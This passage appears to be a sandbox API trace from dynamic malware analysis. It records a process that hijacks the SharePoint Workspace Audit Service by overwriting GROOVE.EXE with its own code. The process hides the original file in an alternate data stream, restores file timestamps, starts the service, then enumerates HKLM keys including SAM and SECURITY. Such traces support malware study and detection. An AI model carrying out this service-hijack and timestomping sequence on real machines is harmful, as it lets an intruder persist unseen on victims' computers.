lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.926] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.926] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.926] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.926] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.926] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.926] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.926] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.926] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0193.926] RegSetValueExA (in: hKey=0x140, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0193.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0193.927] RegSetValueExA (in: hKey=0x140, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0193.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0193.927] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.927] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.927] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.927] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.927] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.927] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.927] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.927] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.927] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.927] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.928] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.928] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0193.928] ExpandEnvironmentStringsA (in: lpSrc="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\" /auditservice", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x47 [0193.928] ExpandEnvironmentStringsA (in: lpSrc="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\" /auditservice", lpDst=0x21f2e28, nSize=0x47 | out: lpDst="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\" /auditservice") returned 0x46 [0193.928] RegSetValueExA (in: hKey=0x140, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\" /auditservice", cbData=0x46 | out: lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\" /auditservice") returned 0x0 [0193.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0193.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f2eb0, cbMultiByte=69, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0193.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f2eb0, cbMultiByte=69, lpWideCharStr=0x21e4f40, cchWideChar=69 | out: lpWideCharStr="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\" /auditservice") returned 69 [0193.928] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\" /auditservice", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x803ea0*="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" [0193.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0193.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0193.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0193.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.928] LocalFree (hMem=0x803ea0) returned 0x0 [0193.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0193.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0193.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0193.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE", cchWideChar=53, lpMultiByteStr=0x21f19b8, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE", lpUsedDefaultChar=0x0) returned 53 [0193.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0193.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0193.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0193.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0193.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0193.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0193.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/auditservice", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0193.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/auditservice", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/auditservice", lpUsedDefaultChar=0x0) returned 13 [0193.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0193.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0193.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0193.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0193.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0193.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0193.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0193.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0193.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0193.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0193.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0193.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0193.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0193.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0193.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0193.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0193.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0193.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0193.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0193.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0193.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0193.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0193.930] RegSetValueExA (in: hKey=0x140, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", cbData=0x38 | out: lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"") returned 0x0 [0193.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0193.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0193.930] OpenServiceW (hSCManager=0x803918, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x2) returned 0x8038a0 [0194.014] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0194.036] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0194.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0194.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0194.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0194.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0194.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0194.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0194.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0194.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0194.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0194.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0194.037] RegCloseKey (hKey=0x140) returned 0x0 [0194.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0194.037] RegCloseKey (hKey=0x14c) returned 0x0 [0194.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0194.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0194.037] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x3112b78)) returned 1 [0194.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0194.038] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0194.038] GetFileSize (in: hFile=0x14c, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x3112b78 [0194.038] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0194.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x3112b80) returned 0x2bf0020 [0194.039] ReadFile (in: hFile=0x14c, lpBuffer=0x2bf0020, nNumberOfBytesToRead=0x3112b78, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2bf0020*, lpNumberOfBytesRead=0x36f53c*=0x3112b78, lpOverlapped=0x0) returned 1 [0197.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x3112b80) returned 0x5ed0020 [0198.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2bf0020) returned 1 [0199.179] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f52c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x36f52c*=0) returned 0x0 [0199.179] WriteFile (in: hFile=0x14c, lpBuffer=0x219dea0*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x219dea0*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0199.182] SetEndOfFile (hFile=0x14c) returned 1 [0199.187] GetFileTime (in: hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xd6fd7600, dwHighDateTime=0x1cacbb3)) returned 1 [0199.187] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0199.187] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0199.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0199.187] NtClose (Handle=0x14c) returned 0x0 [0199.188] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE:0" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x18, ftCreationTime.dwLowDateTime=0x247db, ftCreationTime.dwHighDateTime=0x36f508, ftLastAccessTime.dwLowDateTime=0x77e50a45, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0199.188] GetLastError () returned 0x2 [0199.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE:0" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0199.199] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0199.199] WriteFile (in: hFile=0x14c, lpBuffer=0x5ed0020*, nNumberOfBytesToWrite=0x3112b78, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x5ed0020*, lpNumberOfBytesWritten=0x36f53c*=0x3112b78, lpOverlapped=0x0) returned 1 [0204.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0204.486] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0204.488] NtClose (Handle=0x14c) returned 0x0 [0204.488] OpenServiceW (hSCManager=0x803918, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x10) returned 0x7ee7a8 [0204.531] StartServiceW (hService=0x7ee7a8, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0206.162] CloseServiceHandle (hSCObject=0x7ee7a8) returned 1 [0206.164] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0206.164] GetLastError () returned 0x6 [0206.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x5ed0020) returned 1 [0206.507] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0206.508] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0206.508] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0206.509] OpenServiceW (hSCManager=0x803918, lpServiceName="msiserver", dwDesiredAccess=0x20) returned 0x803990 [0206.510] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0206.510] GetLastError () returned 0x426 [0206.510] CloseServiceHandle (hSCObject=0x803990) returned 1 [0206.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0206.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0206.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0206.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0206.513] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0206.513] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0206.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0206.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.513] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.513] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0206.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0206.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.514] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0206.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0206.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.514] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0206.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.514] 